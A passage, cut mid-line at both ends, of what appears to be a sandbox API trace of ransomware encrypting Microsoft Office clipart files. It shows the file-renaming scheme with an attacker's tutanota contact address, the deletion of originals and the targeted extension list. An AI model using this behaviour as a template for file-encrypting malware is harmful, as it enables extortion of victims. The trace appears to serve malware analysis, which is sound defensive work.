office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0252.870] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0252.870] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0252.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0252.871] GetLastError () returned 0x0 [0252.871] ReadFile (in: hFile=0x188, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x3896, lpOverlapped=0x0) returned 1 [0252.926] WriteFile (in: hFile=0x3b0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0252.929] ReadFile (in: hFile=0x188, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0252.929] WriteFile (in: hFile=0x3b0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.929] SetEndOfFile (hFile=0x3b0) returned 1 [0252.930] CloseHandle (hObject=0x3b0) returned 1 [0252.930] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0252.931] SetEndOfFile (hFile=0x188) returned 1 [0252.938] CloseHandle (hObject=0x188) returned 1 [0252.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0253.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.131] lstrlenW (lpString=".doc") returned 4 [0253.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.131] lstrlenW (lpString=".docx") returned 5 [0253.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.131] lstrlenW (lpString=".pdf") returned 4 [0253.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.132] lstrlenW (lpString=".xls") returned 4 [0253.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.132] lstrlenW (lpString=".xlsx") returned 5 [0253.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.132] lstrlenW (lpString=".ppt") returned 4 [0253.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.133] lstrlenW (lpString=".zip") returned 4 [0253.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.133] lstrlenW (lpString=".rar") returned 4 [0253.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.133] lstrlenW (lpString=".bz2") returned 4 [0253.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.133] lstrlenW (lpString=".7z") returned 3 [0253.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.133] lstrlenW (lpString=".dbf") returned 4 [0253.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.134] lstrlenW (lpString=".1cd") returned 4 [0253.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.135] lstrlenW (lpString=".jpg") returned 4 [0253.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.135] lstrlenW (lpString=".doc") returned 4 [0253.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString=".docx") returned 5 [0253.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.135] lstrlenW (lpString=".pdf") returned 4 [0253.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.135] lstrlenW (lpString=".xls") returned 4 [0253.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.136] lstrlenW (lpString=".xlsx") returned 5 [0253.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.136] lstrlenW (lpString=".ppt") returned 4 [0253.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.136] lstrlenW (lpString=".zip") returned 4 [0253.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.136] lstrlenW (lpString=".rar") returned 4 [0253.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.136] lstrlenW (lpString=".bz2") returned 4 [0253.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.137] lstrlenW (lpString=".7z") returned 3 [0253.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.137] lstrlenW (lpString=".dbf") returned 4 [0253.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.137] lstrlenW (lpString=".1cd") returned 4 [0253.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0253.137] lstrlenW (lpString=".jpg") returned 4 [0253.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.138] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0253.138] lstrlenW (lpString="BL00008_.WMF") returned 12 [0253.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.218] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=12520) returned 1 [0253.218] CloseHandle (hObject=0x324) returned 1 [0253.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0253.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0253.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.219] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0253.220] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0253.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.221] GetLastError () returned 0x0 [0253.221] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x30e8, lpOverlapped=0x0) returned 1 [0253.227] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0253.232] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0253.232] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.232] SetEndOfFile (hFile=0x3a0) returned 1 [0253.233] CloseHandle (hObject=0x3a0) returned 1 [0253.233] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0253.233] SetEndOfFile (hFile=0x324) returned 1 [0253.241] CloseHandle (hObject=0x324) returned 1 [0253.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0253.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0253.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0253.243] lstrlenW (lpString=".doc") returned 4 [0253.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.876] lstrlenW (lpString=".docx") returned 5 [0254.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.876] lstrlenW (lpString=".pdf") returned 4 [0254.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.877] lstrlenW (lpString=".xls") returned 4 [0254.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.877] lstrlenW (lpString=".xlsx") returned 5 [0254.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.877] lstrlenW (lpString=".ppt") returned 4 [0254.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.877] lstrlenW (lpString=".zip") returned 4 [0254.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.877] lstrlenW (lpString=".rar") returned 4 [0254.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.877] lstrlenW (lpString=".bz2") returned 4 [0254.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString=".7z") returned 3 [0254.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.878] lstrlenW (lpString=".dbf") returned 4 [0254.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.878] lstrlenW (lpString=".1cd") returned 4 [0254.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.878] lstrlenW (lpString=".jpg") returned 4 [0254.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.879] lstrlenW (lpString=".doc") returned 4 [0254.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString=".docx") returned 5 [0254.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0254.879] lstrlenW (lpString=".pdf") returned 4 [0254.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.879] lstrlenW (lpString=".xls") returned 4 [0254.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.879] lstrlenW (lpString=".xlsx") returned 5 [0254.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0254.880] lstrlenW (lpString=".ppt") returned 4 [0254.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.880] lstrlenW (lpString=".zip") returned 4 [0254.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.880] lstrlenW (lpString=".rar") returned 4 [0254.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.880] lstrlenW (lpString=".bz2") returned 4 [0254.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.880] lstrlenW (lpString=".7z") returned 3 [0254.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.881] lstrlenW (lpString=".dbf") returned 4 [0254.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.881] lstrlenW (lpString=".1cd") returned 4 [0254.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0254.882] lstrlenW (lpString=".jpg") returned 4 [0254.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.882] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0254.883] lstrlenW (lpString="BL00045_.WMF") returned 12 [0254.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0255.363] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=7862) returned 1 [0255.363] CloseHandle (hObject=0x384) returned 1 [0255.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0255.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0255.364] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0255.364] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0255.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0260.007] GetLastError () returned 0x0 [0260.007] ReadFile (in: hFile=0x384, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0260.110] WriteFile (in: hFile=0x3bc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0260.113] ReadFile (in: hFile=0x384, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0260.113] WriteFile (in: hFile=0x3bc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.114] SetEndOfFile (hFile=0x3bc) returned 1 [0260.114] CloseHandle (hObject=0x3bc) returned 1 [0260.115] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0260.115] SetEndOfFile (hFile=0x384) returned 1 [0260.123] CloseHandle (hObject=0x384) returned 1 [0260.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0260.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.125] lstrlenW (lpString=".doc") returned 4 [0260.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.126] lstrlenW (lpString=".docx") returned 5 [0260.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.126] lstrlenW (lpString=".pdf") returned 4 [0260.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.126] lstrlenW (lpString=".xls") returned 4 [0260.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.126] lstrlenW (lpString=".xlsx") returned 5 [0260.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.126] lstrlenW (lpString=".ppt") returned 4 [0260.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.126] lstrlenW (lpString=".zip") returned 4 [0260.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.127] lstrlenW (lpString=".rar") returned 4 [0260.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.127] lstrlenW (lpString=".bz2") returned 4 [0260.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.127] lstrlenW (lpString=".7z") returned 3 [0260.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.127] lstrlenW (lpString=".dbf") returned 4 [0260.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.127] lstrlenW (lpString=".1cd") returned 4 [0260.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.128] lstrlenW (lpString=".jpg") returned 4 [0260.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.128] lstrlenW (lpString=".doc") returned 4 [0260.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.128] lstrlenW (lpString=".docx") returned 5 [0260.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.129] lstrlenW (lpString=".pdf") returned 4 [0260.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.129] lstrlenW (lpString=".xls") returned 4 [0260.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.129] lstrlenW (lpString=".xlsx") returned 5 [0260.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.129] lstrlenW (lpString=".ppt") returned 4 [0260.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.129] lstrlenW (lpString=".zip") returned 4 [0260.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.130] lstrlenW (lpString=".rar") returned 4 [0260.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.130] lstrlenW (lpString=".bz2") returned 4 [0260.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.130] lstrlenW (lpString=".7z") returned 3 [0260.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.130] lstrlenW (lpString=".dbf") returned 4 [0260.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.130] lstrlenW (lpString=".1cd") returned 4 [0260.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0260.131] lstrlenW (lpString=".jpg") returned 4 [0260.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.131] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.131] lstrlenW (lpString="BL00130_.WMF") returned 12 [0260.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0260.132] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=1464) returned 1 [0260.133] CloseHandle (hObject=0x384) returned 1 [0260.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0260.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0260.134] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0260.134] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0260.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft 